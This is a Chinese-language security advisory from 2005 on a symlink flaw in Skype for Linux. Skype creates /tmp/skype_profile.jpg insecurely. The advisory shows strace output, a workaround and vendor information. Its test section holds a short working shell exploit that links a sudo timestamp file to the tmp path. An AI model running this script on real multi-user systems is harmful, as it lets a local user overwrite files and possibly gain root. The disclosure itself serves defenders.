发布日期：2005-07-19
更新日期：2005-07-20

受影响系统：

Skype Skype (Linux) 1.1.0.20
Skype Skype (Linux) 1.0.0.7
Skype Skype (Linux) 1.0.0.1
Skype Skype (Linux) 0.93.0.3
Skype Skype (Linux) 0.92.0.12

描述：

---

BUGTRAQ  ID: 14293

Skype是使用最新P2P技术提供高质量语音通讯和即时消息的免费软件。

Skype以不安全的方式创建临时文件，攻击者攻击者可能利用此漏洞破坏系统文件。

每个Skype用户都可以使用自己的配置文件，而该配置文件可以自定义图片。当用户向配置文件添加图片时，Skype在/tmp目录中以不安全的方式创建名为skype_profile.jpg的文件，没有检查是否已存在该文件或是否为符号链接。

-----------------------------------------------------------------------------------------------------------------------------------------
bad@badpenguin:~/skype-1.1.0.20$ strace -e trace=open skype
.
.
open("/home/bad/image.jpg", O_RDONLY|O_LARGEFILE) = 21 // picture chosen by user
open("/tmp/skype_profile.jpg", O_WRONLY|O_CREAT|O_TRUNC|O_LARGEFILE, 0666) = 23 // insecure temporary file creation (it should use O_EXCL or O_NOFOLLOW flag)
.
.
------------------------------------------------------------------------------------------------------------------------------------------

这在多用户环境中就可能导致安全问题，因为通常/tmp目录是完全可写的。恶意的本地用户可以通过符号链接攻击来利用这个漏洞覆盖任意文件，在某些环境下可能获得权限提升。

<*来源：Giovanni Delvecchio （badpenguin79@hotmail.com）
  
  链接：http://www.zone-h.org/advisories/read/id=7808
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

----------------------------------------------------------------------------------------
#!/bin/sh

#get current terminal number from /dev/pts/xx
terminal_number=`tty | cut -f4 -d '/'`

user_ticket=$USER/$terminal_number:root
ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg
---------------------------------------------------------------------------------------------

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 仅允许可信任的用户写访问/tmp目录。

厂商补丁：

Skype
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.skype.com/

浏览次数：2843
严重程度：0（网友投票）